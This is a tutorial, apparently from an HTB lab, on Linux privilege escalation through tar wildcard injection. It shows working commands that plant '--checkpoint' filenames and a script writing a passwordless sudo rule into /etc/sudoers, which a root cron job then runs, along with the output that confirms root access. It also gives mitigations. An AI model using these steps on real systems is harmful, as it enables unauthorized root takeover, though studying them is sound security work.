Linux Privilege Escalation — Wildcard Abuse

A wildcard character stands in for other characters and is expanded by the shell before the target command ever sees its arguments. That expansion step is what makes wildcard abuse possible: a command invoked with a bare * can be tricked into treating attacker-created filenames as command-line flags instead of filenames.

The tar –checkpoint-action Primitive

tar’s man page documents:

--checkpoint[=N]
       Display progress messages every Nth record (default 10).

--checkpoint-action=ACTION
       Run ACTION on each checkpoint.

--checkpoint-action supports an exec action — an arbitrary OS command run at each checkpoint. If a directory containing attacker-controlled files is archived with a bare wildcard (tar -zcf archive.tar.gz *), filenames crafted to look like --checkpoint=1 and --checkpoint-action=exec=sh root.sh get expanded by the shell into actual tar arguments — turning a routine backup into arbitrary command execution as whatever user runs the tar command.

Exploitation Walkthrough

Vulnerable cron job — runs every minute as a backup task, archiving everything in the directory with a wildcard:

#
mh dom mon dow command
*/01 * * * * cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *

Step 1 — Drop a payload script and the two “filename” arguments:

htb-student@NIX02:~$ echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
htb-student@NIX02:~$ echo "" > "--checkpoint-action=exec=sh root.sh"
htb-student@NIX02:~$ echo "" > --checkpoint=1

Step 2 — Confirm the files landed in the directory the cron job will archive:

htb-student@NIX02:~$ ls -la

total 56
drwxrwxrwt 10 root        root        4096 Aug 31 23:12 .
drwxr-xr-x 24 root        root        4096 Aug 31 02:24 ..
-rw-r--r--  1 root        root         378 Aug 31 23:12 backup.tar.gz
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint=1
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint-action=exec=sh root.sh
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .font-unix
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .ICE-unix
-rw-rw-r--  1 htb-student htb-student   60 Aug 31 23:11 root.sh

Step 3 — Wait for the cron job to fire. The wildcard expands alphabetically, so --checkpoint=1 and --checkpoint-action=exec=sh root.sh get passed to tar as real flags instead of archive members, and root.sh executes as the cron job’s user (root), appending a passwordless sudo rule for htb-student.

Step 4 — Confirm and escalate:

htb-student@NIX02:~$ sudo -l

Matching Defaults entries for htb-student on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on NIX02:
    (root) NOPASSWD: ALL

Key Takeaways

• The root cause isn’t tar itself — it’s a privileged, automated command that expands a bare wildcard (*) over a directory where a lower-privileged user can write files.
• Any command with a flag that triggers command execution (or otherwise dangerous behavior) is a candidate: check GTFOBins for the wildcard entry of whatever binary a cron job/script invokes with *.
• Applies equally to chown, rsync, and other tools with similarly abusable flags — the pattern generalizes beyond tar.
• Mitigation: never invoke archive/admin tools with an unqualified * in a world/group-writable directory; use -- to terminate flag parsing, or reference files explicitly.